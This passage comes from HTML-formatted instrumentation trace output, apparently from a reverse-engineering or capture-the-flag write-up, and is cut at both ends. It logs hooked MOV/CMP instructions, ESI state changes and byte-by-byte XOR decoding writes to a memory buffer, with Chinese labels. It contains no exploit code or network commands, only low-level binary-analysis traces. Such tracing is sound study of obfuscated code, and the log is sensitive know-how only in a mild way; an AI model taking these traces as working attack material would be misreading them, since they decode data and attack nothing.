class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10014f6]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10014f6]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x10014f6]</span> MEM<span class="selector-attr">[0x2003f34]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x10014f6]</span> MEM<span class="selector-attr">[0x2003f35]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x10014f6]</span> MEM<span class="selector-attr">[0x2003f36]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x10014f6]</span> MEM<span class="selector-attr">[0x2003f37]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x10014f6]</span> MEM<span class="selector-attr">[0x2003f38]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f38 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x4A</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000624: mov esi, <span class="number">0</span>x1b</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000629: mov esi, <span class="number">0</span>x2f</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x0100063f: cmp esi, <span class="number">0</span>x37</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f38 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f39 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3a ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3b ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x0B</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x010009c3: mov esi, <span class="number">0</span>x8</span><br><span class="line"><span class="selector-attr">[XOR @0x10009d7]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x010009dd: cmp esi, <span class="number">0</span>x11</span><br><span class="line"><span class="selector-attr">[XOR @0x10009d7]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x10009d7]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x10009d7]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10009d7]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x10009d7]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10009d7]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x10009d7]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10009d7]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x4B</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x010013cd: mov esi, <span class="number">0</span>x6</span><br><span class="line"><span class="selector-attr">[XOR @0x10013e1]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x010013e7: cmp esi, <span class="number">0</span>xd</span><br><span class="line"><span class="selector-attr">[XOR @0x10013e1]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10013e1]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x10013e1]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x10013e1]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x10013e1]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x10013e1]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000fc5: mov esi, <span class="number">0</span>x13</span><br><span class="line"><span class="selector-attr">[XOR @0x1000fd9]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01000fdf: cmp esi, <span class="number">0</span>x27</span><br><span class="line"><span class="selector-attr">[XOR @0x1000fd9]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000fd9]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000fd9]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000fd9]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000fd9]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000fd9]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000fd9]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000fd9]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000fd9]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000fd9]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000fd9]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000fd9]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000fd9]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000fd9]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000fd9]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000fd9]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000fd9]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000fd9]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000fd9]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x24</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000384: mov esi, <span class="number">0</span>x26</span><br><span class="line"><span class="selector-attr">[XOR @0x1000398]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x0100039e: cmp esi, <span class="number">0</span>x4d</span><br><span class="line"><span class="selector-attr">[XOR @0x1000398]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000398]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000398]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000398]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000398]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000398]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000398]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000398]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000398]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000398]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000398]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000398]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000398]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000398]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000398]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000398]</span> MEM<span class="selector-attr">[0x2003f30]</span> 